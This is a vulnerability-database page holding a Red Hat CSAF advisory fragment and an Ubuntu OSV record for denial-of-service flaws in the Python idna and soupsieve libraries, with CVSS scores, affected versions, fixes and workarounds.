                  "name": "Red Hat Hardened Images",
                  "product_id": "Red Hat Hardened Images",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:redhat:hummingbird:1"
                  }
                }
              }
            ],
            "category": "product_family",
            "name": "Red Hat Hardened Images"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "python-rpds-py-main@src",
                "product": {
                  "name": "python-rpds-py-main@src",
                  "product_id": "python-rpds-py-main@src",
                  "product_identification_helper": {
                    "purl": "pkg:rpm/redhat/python-rpds-py@2026.6.3-1.hum1?arch=src\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-source-rpms"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "src"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "python-rpds-py-main@aarch64",
                "product": {
                  "name": "python-rpds-py-main@aarch64",
                  "product_id": "python-rpds-py-main@aarch64",
                  "product_identification_helper": {
                    "purl": "pkg:rpm/redhat/python3-rpds-py@2026.6.3-1.hum1?arch=aarch64\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-aarch64-rpms"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "aarch64"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "python-rpds-py-main@x86_64",
                "product": {
                  "name": "python-rpds-py-main@x86_64",
                  "product_id": "python-rpds-py-main@x86_64",
                  "product_identification_helper": {
                    "purl": "pkg:rpm/redhat/python3-rpds-py@2026.6.3-1.hum1?arch=x86_64\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-x86_64-rpms"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "x86_64"
          }
        ],
        "category": "vendor",
        "name": "Red Hat"
      }
    ],
    "relationships": [
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python-rpds-py-main@aarch64 as a component of Red Hat Hardened Images",
          "product_id": "Red Hat Hardened Images:python-rpds-py-main@aarch64"
        },
        "product_reference": "python-rpds-py-main@aarch64",
        "relates_to_product_reference": "Red Hat Hardened Images"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python-rpds-py-main@src as a component of Red Hat Hardened Images",
          "product_id": "Red Hat Hardened Images:python-rpds-py-main@src"
        },
        "product_reference": "python-rpds-py-main@src",
        "relates_to_product_reference": "Red Hat Hardened Images"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python-rpds-py-main@x86_64 as a component of Red Hat Hardened Images",
          "product_id": "Red Hat Hardened Images:python-rpds-py-main@x86_64"
        },
        "product_reference": "python-rpds-py-main@x86_64",
        "relates_to_product_reference": "Red Hat Hardened Images"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-45409",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-06-05T23:01:44.292958+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2485616"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in the idna library, which handles Internationalized Domain Names in Python applications. A remote attacker could exploit this vulnerability by sending specially crafted, excessively long inputs to the library\u0027s encoding function. This could cause the system to consume significant resources, leading to a Denial of Service (DoS), where the affected application becomes unavailable to legitimate users. This issue stems from an incomplete fix for a previously identified vulnerability.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "python-idna: idna: Denial of Service via specially crafted long inputs",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "A flaw was found in the python-idna library. This is an incomplete fix for CVE-2024-3651. The idna.encode() function performs contextual validation checks (valid_contexto) before rejecting oversized inputs, allowing specially crafted long payloads to cause excessive CPU consumption and lead to a denial of service. The fix in version 3.14 rejects long inputs early before further processing, and version 3.15 extends this approach to alternate per-label conversion and codec functions.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:python-rpds-py-main@aarch64",
          "Red Hat Hardened Images:python-rpds-py-main@src",
          "Red Hat Hardened Images:python-rpds-py-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-45409"
        },
        {
          "category": "external",
          "summary": "RHBZ#2485616",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2485616"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-45409",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45409"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-45409",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45409"
        },
        {
          "category": "external",
          "summary": "https://github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx",
          "url": "https://github.com/kjd/idna/security/advisories/GHSA-65pc-fj4g-8rjx"
        }
      ],
      "release_date": "2026-06-05T22:06:07.082000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-01T09:00:32+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:python-rpds-py-main@aarch64",
            "Red Hat Hardened Images:python-rpds-py-main@src",
            "Red Hat Hardened Images:python-rpds-py-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:34119"
        },
        {
          "category": "workaround",
          "details": "To mitigate this denial-of-service vulnerability, applications utilizing the `idna` Python library should implement input validation to ensure that domain names do not exceed the standard 253-character length limit before being passed to the `idna.encode()` function. This operational control prevents the processing of excessively long inputs that could lead to resource exhaustion and service unavailability.\n\nApplications that pass user-controlled data directly to `idna.encode()` without validation checks (e.g.: DNS length \u003c 254 chars) are affected.",
          "product_ids": [
            "Red Hat Hardened Images:python-rpds-py-main@aarch64",
            "Red Hat Hardened Images:python-rpds-py-main@src",
            "Red Hat Hardened Images:python-rpds-py-main@x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:python-rpds-py-main@aarch64",
            "Red Hat Hardened Images:python-rpds-py-main@src",
            "Red Hat Hardened Images:python-rpds-py-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "python-idna: idna: Denial of Service via specially crafted long inputs"
    },
    {
      "cve": "CVE-2026-49476",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-07-14T22:01:41.402642+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2500715"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in soupsieve, a CSS selector library used with Beautiful Soup 4. This vulnerability allows a remote attacker to cause a denial of service (DoS) by supplying a specially crafted CSS selector string. The parser allocates unbounded memory when compiling large, comma-separated selector lists, leading to excessive memory consumption and system instability.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "soupsieve: python-soupsieve: Soupsieve: Denial of Service via crafted CSS selector string",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "An uncontrolled resource consumption vulnerability was found in the soupsieve Python package, a CSS selector library used by BeautifulSoup4. A remote attacker could provide a crafted CSS selector string that causes excessive memory or CPU consumption, leading to a denial of service condition. Red Hat ships soupsieve as a dependency in multiple products including OpenShift, Ceph Storage, RHOAI, Satellite, Ansible Automation Platform, OpenStack Platform, CNV, Lightspeed, and various container images.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:python-rpds-py-main@aarch64",
          "Red Hat Hardened Images:python-rpds-py-main@src",
          "Red Hat Hardened Images:python-rpds-py-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-49476"
        },
        {
          "category": "external",
          "summary": "RHBZ#2500715",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2500715"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-49476",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-49476"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-49476",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49476"
        },
        {
          "category": "external",
          "summary": "https://github.com/facelessuser/soupsieve/commit/28108ab805818c832d9568142a99844fd95a0d39",
          "url": "https://github.com/facelessuser/soupsieve/commit/28108ab805818c832d9568142a99844fd95a0d39"
        },
        {
          "category": "external",
          "summary": "https://github.com/facelessuser/soupsieve/releases/tag/2.8.4",
          "url": "https://github.com/facelessuser/soupsieve/releases/tag/2.8.4"
        },
        {
          "category": "external",
          "summary": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-2wc2-fm75-p42x",
          "url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-2wc2-fm75-p42x"
        }
      ],
      "release_date": "2026-07-14T20:53:12.497000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-01T09:00:32+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:python-rpds-py-main@aarch64",
            "Red Hat Hardened Images:python-rpds-py-main@src",
            "Red Hat Hardened Images:python-rpds-py-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:34119"
        },
        {
          "category": "workaround",
          "details": "There is no mitigation for this flaw other than updating the soupsieve package when upstream patches are available. The impact is limited to availability (denial of service) \u2014 an attacker cannot access or modify data through this vulnerability. Applications that do not process untrusted CSS selector strings are at reduced risk.",
          "product_ids": [
            "Red Hat Hardened Images:python-rpds-py-main@aarch64",
            "Red Hat Hardened Images:python-rpds-py-main@src",
            "Red Hat Hardened Images:python-rpds-py-main@x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:python-rpds-py-main@aarch64",
            "Red Hat Hardened Images:python-rpds-py-main@src",
            "Red Hat Hardened Images:python-rpds-py-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "soupsieve: python-soupsieve: Soupsieve: Denial of Service via crafted CSS selector string"
    },
    {
      "cve": "CVE-2026-49477",
      "cwe": {
        "id": "CWE-1333",
        "name": "Inefficient Regular Expression Complexity"
      },
      "discovery_date": "2026-07-14T22:04:22.677547+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2500752"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in soupsieve, a CSS selector library. This vulnerability allows a remote attacker to cause a Denial of Service (DoS) by supplying specially crafted, untrusted CSS selector strings. The flaw occurs due to a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value, leading to CPU exhaustion.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "soupsieve: Soupsieve: Denial of Service via crafted CSS selector strings",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "Important: A regular expression denial of service (ReDoS) flaw in the soupsieve library can lead to CPU exhaustion. A remote attacker can exploit this by supplying a small, specially crafted CSS selector string to applications that process untrusted CSS, potentially blocking worker threads and causing a complete service denial in affected Red Hat products.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:python-rpds-py-main@aarch64",
          "Red Hat Hardened Images:python-rpds-py-main@src",
          "Red Hat Hardened Images:python-rpds-py-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-49477"
        },
        {
          "category": "external",
          "summary": "RHBZ#2500752",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2500752"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-49477",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-49477"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-49477",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49477"
        },
        {
          "category": "external",
          "summary": "https://github.com/facelessuser/soupsieve/commit/eb4397618709186c109400448c6043b728217dc3",
          "url": "https://github.com/facelessuser/soupsieve/commit/eb4397618709186c109400448c6043b728217dc3"
        },
        {
          "category": "external",
          "summary": "https://github.com/facelessuser/soupsieve/releases/tag/2.8.4",
          "url": "https://github.com/facelessuser/soupsieve/releases/tag/2.8.4"
        },
        {
          "category": "external",
          "summary": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-836r-79rf-4m37",
          "url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-836r-79rf-4m37"
        }
      ],
      "release_date": "2026-07-14T20:51:29.369000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-01T09:00:32+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:python-rpds-py-main@aarch64",
            "Red Hat Hardened Images:python-rpds-py-main@src",
            "Red Hat Hardened Images:python-rpds-py-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:34119"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:python-rpds-py-main@aarch64",
            "Red Hat Hardened Images:python-rpds-py-main@src",
            "Red Hat Hardened Images:python-rpds-py-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "soupsieve: Soupsieve: Denial of Service via crafted CSS selector strings"
    }
  ]
}

ubuntu-cve-2026-49477

Vulnerability from osv_ubuntu

Published

2026-07-14 21:17

Modified

2026-07-14 21:17

Summary

Details

Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.

Severity

7.5 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

N/A (UNKNOWN)


                    
                      medium

References

URL

Type

	https://ubuntu.com/security/CVE-2026-49477	REPORT
	https://www.cve.org/CVERecord?id=CVE-2026-49477	REPORT
	https://github.com/facelessuser/soupsieve/commit/…	REPORT
	https://github.com/facelessuser/soupsieve/release…	REPORT
	https://github.com/facelessuser/soupsieve/securit…	REPORT

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python-soupsieve",
            "binary_version": "1.9.5+dfsg-1"
          },
          {
            "binary_name": "python3-soupsieve",
            "binary_version": "1.9.5+dfsg-1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:20.04:LTS",
        "name": "soupsieve",
        "purl": "pkg:deb/ubuntu/soupsieve@1.9.5+dfsg-1?arch=source\u0026distro=focal"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.9.2+dfsg-2ubuntu1",
        "1.9.4+dfsg-1",
        "1.9.5+dfsg-1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-soupsieve",
            "binary_version": "2.3.1-1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:22.04:LTS",
        "name": "soupsieve",
        "purl": "pkg:deb/ubuntu/soupsieve@2.3.1-1?arch=source\u0026distro=jammy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.2.1-2",
        "2.3-1",
        "2.3.1-1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-soupsieve",
            "binary_version": "2.5-1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:24.04:LTS",
        "name": "soupsieve",
        "purl": "pkg:deb/ubuntu/soupsieve@2.5-1?arch=source\u0026distro=noble"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.4.1-2",
        "2.5-1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "python3-soupsieve",
            "binary_version": "2.8.3-1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:26.04:LTS",
        "name": "soupsieve",
        "purl": "pkg:deb/ubuntu/soupsieve@2.8.3-1?arch=source\u0026distro=resolute"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.7-2",
        "2.8.1-1",
        "2.8.3-1"
      ]
    }
  ],
  "aliases": [],
  "details": "Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.",
  "id": "UBUNTU-CVE-2026-49477",
  "modified": "2026-07-14T21:17:00Z",
  "published": "2026-07-14T21:17:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2026-49477"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-49477"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/facelessuser/soupsieve/commit/eb4397618709186c109400448c6043b728217dc3"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/facelessuser/soupsieve/releases/tag/2.8.4"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-836r-79rf-4m37"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2026-49477"
  ]
}

CVE-2026-49477 (GCVE-0-2026-49477)

Tags

Sightings

Nomenclature

Action not permitted

CVE-2026-49477 (GCVE-0-2026-49477)

FKIE_CVE-2026-49477

GHSA-836R-79RF-4M37

Summary

Details

Proof of Concept

Impact

Credit

OPENSUSE-SU-2026:21342-1

PYSEC-2026-3072

Summary

Details

Proof of Concept

Impact

Credit

RHSA-2026:23992

RHSA-2026:34119

ubuntu-cve-2026-49477

Vulnerability from osv_ubuntu

Tags

Sightings

Nomenclature